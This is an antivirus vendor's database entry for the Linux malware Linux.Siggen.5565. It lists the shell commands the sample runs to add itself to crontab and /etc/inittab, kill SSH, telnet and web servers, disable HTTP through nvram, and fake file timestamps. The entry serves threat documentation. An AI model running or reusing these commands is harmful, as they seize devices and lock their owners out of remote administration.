Linux.Siggen.5565

Linux.Siggen.5565

Added to the Dr.Web virus database: 2023-08-10

Virus description added: 2023-08-10

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Launches processes:

crontab /var/run/.x00740882966
rm -rf /etc/inittab2
nvram set http_enable=0 > /dev/null 2>&1
cat /etc/inittab2 > /etc/inittab
killall -9 dropbear > /dev/null 2>&1 &
cat /etc/inittab
service sshd stop > /dev/null 2>&1 &
grep -v lesshts/run.sh
echo \x220:2345:respawn:<SAMPLE_FULL_PATH>\x22 >> /etc/inittab2
killall -9 telnetd > /dev/null 2>&1 &
cat /var/run/thttpd.pid
killall -9 minihttpd > /dev/null 2>&1 &
cat /var/run/httpd.pid
grep -v no cron
service httpd stop > /dev/null 2>&1 &
nvram set httpd_enable=0 > /dev/null 2>&1
cat /etc/inittab | grep -v \x22<SAMPLE_FULL_PATH>\x22 > /etc/inittab2
rm -rf /var/run/.x00740882966
touch -acmr /bin/ls /etc/inittab
echo \x22* * * * * <SAMPLE_FULL_PATH> > /dev/null 2>&1 &\x22 >> /var/run/.x00740882966
(crontab -l | grep -v \x22<SAMPLE_FULL_PATH>\x22 | grep -v \x22no cron\x22 | grep -v \x22lesshts/run.sh\x22 > /var/run/.x00740882966) > /dev/null 2>&1
kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &
/bin/uname -n
grep -v <SAMPLE_FULL_PATH>
kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &
killall -9 sshd > /dev/null 2>&1 &
cat /etc/inittab2
killall -9 utelnetd > /dev/null 2>&1 &
killall -9 httpd > /dev/null 2>&1 &
killall -9 lighttpd > /dev/null 2>&1 &
crontab -l
killall -9 mini_httpd > /dev/null 2>&1 &
touch -acmr /bin/ls <SAMPLE_FULL_PATH>
service telnetd stop > /dev/null 2>&1 &

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Changes time of creation/access/modification of files:

Network activity:

Awaits incoming connections on ports:

Establishes connection:

Sends data to the following servers:

Receives data from the following servers: